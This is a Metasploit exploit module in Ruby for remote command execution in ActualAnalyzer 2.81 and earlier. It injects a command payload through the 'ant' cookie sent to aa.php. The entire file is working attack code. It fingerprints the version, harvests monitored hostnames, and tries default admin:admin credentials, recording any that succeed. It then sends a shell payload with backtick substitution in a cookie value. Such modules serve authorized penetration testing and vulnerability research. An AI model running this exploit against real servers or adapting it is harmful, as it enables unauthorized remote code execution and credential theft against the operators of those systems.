265 lines
8.6 KiB
Ruby
265 lines
8.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(
|
|
info,
|
|
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
|
|
'Description' => %q{
|
|
This module exploits a command execution vulnerability in
|
|
ActualAnalyzer version 2.81 and prior.
|
|
|
|
The 'aa.php' file allows unauthenticated users to
|
|
execute arbitrary commands in the 'ant' cookie.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Benjamin Harris', # Discovery and exploit
|
|
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['EDB', '34450'],
|
|
['OSVDB', '110601']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096, # HTTP cookie
|
|
'DisableNops' => true,
|
|
'BadChars' => "\x00"
|
|
},
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix',
|
|
'Targets' =>
|
|
[
|
|
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
|
|
['ActualAnalyzer <= 2.81', { 'auto' => true }]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Aug 28 2014',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
|
|
OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
|
|
OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
|
|
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
|
|
], self.class)
|
|
end
|
|
|
|
#
|
|
# Checks if target is running ActualAnalyzer <= 2.81
|
|
#
|
|
def check
|
|
# check for aa.php
|
|
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
|
|
if !res
|
|
vprint_error("#{peer} - Connection failed")
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res.code == 404
|
|
vprint_error("#{peer} - Could not find aa.php")
|
|
return Exploit::CheckCode::Safe
|
|
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
|
|
vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
# check version
|
|
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
|
|
if !res
|
|
vprint_error("#{peer} - Connection failed")
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
|
|
vprint_status("#{peer} - Found version: #{version}")
|
|
if Gem::Version.new(version) <= Gem::Version.new('2.81')
|
|
report_vuln(
|
|
host: rhost,
|
|
name: self.name,
|
|
info: "Module #{fullname} detected ActualAnalyzer #{version}",
|
|
refs: references,
|
|
)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Detected
|
|
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
#
|
|
# Try to retrieve a valid analytics host from view.php unauthenticated
|
|
#
|
|
def get_analytics_host_view
|
|
analytics_host = nil
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'view.php'),
|
|
'vars_post' => {
|
|
'id_h' => '',
|
|
'listp' => '',
|
|
'act_h' => 'vis_int',
|
|
'oldact' => 'vis_grpg',
|
|
'tint_h' => '',
|
|
'extact_h' => '',
|
|
'home_pos' => '',
|
|
'act' => 'vis_grpg',
|
|
'tint' => 'total',
|
|
'grpg' => '201',
|
|
'cp_vst' => 'on',
|
|
'cp_hst' => 'on',
|
|
'cp_htst' => 'on',
|
|
'cp_reps' => 'y',
|
|
'tab_sort' => '1_1'
|
|
}
|
|
)
|
|
if !res
|
|
vprint_error("#{peer} - Connection failed")
|
|
elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
|
|
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
|
|
return analytics_host
|
|
else
|
|
vprint_status("#{peer} - Could not find any hosts on view.php")
|
|
end
|
|
nil
|
|
end
|
|
|
|
#
|
|
# Try to retrieve a valid analytics host from code.php unauthenticated
|
|
#
|
|
def get_analytics_host_code
|
|
analytics_host = nil
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'code.php'),
|
|
'vars_get' => {
|
|
'pid' => '1'
|
|
}
|
|
)
|
|
if !res
|
|
vprint_error("#{peer} - Connection failed")
|
|
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
|
|
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
|
|
return analytics_host
|
|
else
|
|
vprint_status("#{peer} - Could not find any hosts on code.php")
|
|
end
|
|
nil
|
|
end
|
|
|
|
#
|
|
# Try to retrieve a valid analytics host from admin.php with creds
|
|
#
|
|
def get_analytics_host_admin
|
|
analytics_host = nil
|
|
user = datastore['USERNAME']
|
|
pass = datastore['PASSWORD']
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin.php'),
|
|
'vars_post' => {
|
|
'uname' => user,
|
|
'passw' => pass,
|
|
'id_h' => '',
|
|
'listp' => '',
|
|
'act_h' => '',
|
|
'oldact' => 'pages',
|
|
'tint_h' => '',
|
|
'extact_h' => '',
|
|
'param_h' => '',
|
|
'param2_h' => '',
|
|
'home_pos' => '',
|
|
'act' => 'dynhtml',
|
|
'set.x' => '11',
|
|
'set.y' => '11'
|
|
}
|
|
)
|
|
if !res
|
|
vprint_error("#{peer} - Connection failed")
|
|
elsif res.code == 200 && res.body =~ />Login</
|
|
vprint_status("#{peer} - Login failed.")
|
|
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
|
|
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
|
|
print_good("#{peer} - Login successful! (#{user}:#{pass})")
|
|
service_data = {
|
|
address: Rex::Socket.getaddress(rhost, true),
|
|
port: rport,
|
|
service_name: (ssl ? 'https' : 'http'),
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
private_type: :password,
|
|
private_data: pass,
|
|
username: user
|
|
}
|
|
credential_data.merge!(service_data)
|
|
credential_core = create_credential(credential_data)
|
|
login_data = {
|
|
core: credential_core,
|
|
last_attempted_at: DateTime.now,
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
|
}
|
|
login_data.merge!(service_data)
|
|
create_credential_login(login_data)
|
|
return analytics_host
|
|
else
|
|
vprint_status("#{peer} - Could not find any hosts on admin.php")
|
|
end
|
|
nil
|
|
end
|
|
|
|
def execute_command(cmd, opts = { analytics_host: vhost })
|
|
vuln_cookies = %w(anw anm)
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'aa.php'),
|
|
'vars_get' => { 'anp' => opts[:analytics_host] },
|
|
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
|
|
)
|
|
if !res
|
|
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
|
|
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
|
|
print_good("#{peer} - Payload sent successfully")
|
|
return true
|
|
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
|
|
vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
|
|
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
|
|
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
|
|
end
|
|
nil
|
|
end
|
|
|
|
def exploit
|
|
return unless check == Exploit::CheckCode::Vulnerable
|
|
analytics_hosts = []
|
|
if datastore['ANALYZER_HOST'].blank?
|
|
analytics_hosts << get_analytics_host_code
|
|
analytics_hosts << get_analytics_host_view
|
|
analytics_hosts << get_analytics_host_admin
|
|
analytics_hosts << vhost
|
|
analytics_hosts << '127.0.0.1'
|
|
analytics_hosts << 'localhost'
|
|
else
|
|
analytics_hosts << datastore['ANALYZER_HOST']
|
|
end
|
|
analytics_hosts.uniq.each do |host|
|
|
next if host.nil?
|
|
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
|
|
break if execute_command(payload.encoded, analytics_host: host)
|
|
end
|
|
end
|
|
end
|